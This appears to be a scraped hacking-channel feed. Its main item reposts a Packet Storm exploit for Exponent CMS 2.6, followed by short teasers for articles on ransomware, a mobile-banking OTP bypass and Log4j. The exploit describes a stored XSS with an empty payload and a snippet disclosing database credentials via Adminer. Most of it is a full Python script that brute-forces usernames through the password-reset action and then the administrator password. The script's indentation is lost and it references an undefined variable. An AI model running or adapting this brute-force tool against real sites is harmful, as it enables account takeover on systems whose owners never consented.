Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Exponent CMS 2.6 Cross Site Scripting / Brute Force

https://3.bp.blogspot.com/-Ct9xsH2cBRo/WWlviFueiJI/AAAAAAAAIQc/IuoXrqbibrUTnkZ-3FJLKgVXuEB0NPH5wCLcBGAs/s1600/h92.png
Exponent CMS version 2.6 suffers from cross site scripting and brute forcing vulnerabilities.

MD5 | 0597e59869ef1eb78f2169519eab8384

Download

# Exploit Title: Exponent CMS 2.6 - Multiple Vulnerabilities
# Exploit Author: heinjame
# Date: 22/10/2021
# Exploit Author: picaro_o
# Vendor Homepage: https://www.exponentcms.org/
# Version: 
# Tested on: Linux os

*Stored XSS*

Affected parameter = >
http://127.0.0.1:8082/expcms/text/edit/id/{id}/src/@footer (Title,
Text Block)

Payload = 

** *Database credential are disclosed in response ***

POC
```
var adminerwindow = function (){
var win =
window.open('/expcms/external/adminer/admin.php?server=localhost&username=root&db=exponentcms');
if (!win) { err(); }
}
```

**Authentication Bruteforce*
```
import argparse
import requests
import sys

parser = argparse.ArgumentParser()
parser.add_argument("url", help="URL")
parser.add_argument("Username list", help="Username List")
parser.add_argument("Password list", help="Password List")
pargs = parser.parse_args()

host = sys.argv[1]
userlist = sys.argv[2]
passlist = sys.argv[3]

try:
readuser = open(userlist)
readpass = open(passlist)
except:
print("Unable to load files")
exit()
def usernamebrute():
s = requests.Session()
for username in readuser.readlines():
brute={
'controller':(None,'users'),
'src':(None,''),
'int':(None,''),
'action':(None,'send_new_password'),
'username':(None,username.strip()),
}
bruteforce = s.post(host+"/index.php",files=brute)
status = s.get(host+"/users/reset_password")
if "administrator" in status.text:
print("[+] Found username : "+ username)
adminaccount = username
checkpoint = True
return adminaccount,checkpoint
break

def passwordbrute(adminaccount):
s = requests.Session()
s.cookies.set("csrftoken", "abc")
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0)
Gecko/20100101 Firefox/78.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'COntent-TYpE': 'applicatiOn/x-WWW-fOrm-urlencoded1',
'Referer': host+'/login/showlogin'
}
for password in readpass.readlines():
brute={
'controller':'login',
'src':'',
'int':'',
'action':'login',
'username':adminaccount,
'password':password.strip()
}
bruteforce = s.post(host+"/index.php",headers=header,data=brute)
# print(bruteforce.text)
status = s.get(host+"/login/showlogin",cookies=csrf)
print(status.text)
if "Invalid Username / Password" not in status.text:
print("[+] Found Password : "+ password)
break

adminaccount,checkpoint = usernamebrute()
if checkpoint == True:
passwordbrute(adminaccount)
else:
print("Can't find username,We can't proceed sorry :(")

```

Source:packetstormsecurity.com

15 views17:56

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
The Future of Ransomware

Focusing on basic security controls and executing them well is the best way to harden your systems against an attack.

13 views18:54

Source

Hacking Articles Tips Tricks Videos Tutorials

Bypassing OTP Verification for Changing PIN in Registered Mobile Banking Account.

Assalamu’alaikum (Peace be upon you)
Read more...

Medium

Bypassing OTP Verification for Changing PIN in Registered Mobile Banking Account.

Assalamu’alaikum (Peace be upon you)

14 views19:18

Hacking Articles Tips Tricks Videos Tutorials

Log4j Vulnerability Explanation In Details

Everything you need to know about log4j vulnerability as a hacker !
Read more...

16 views19:18

Hacking Articles Tips Tricks Videos Tutorials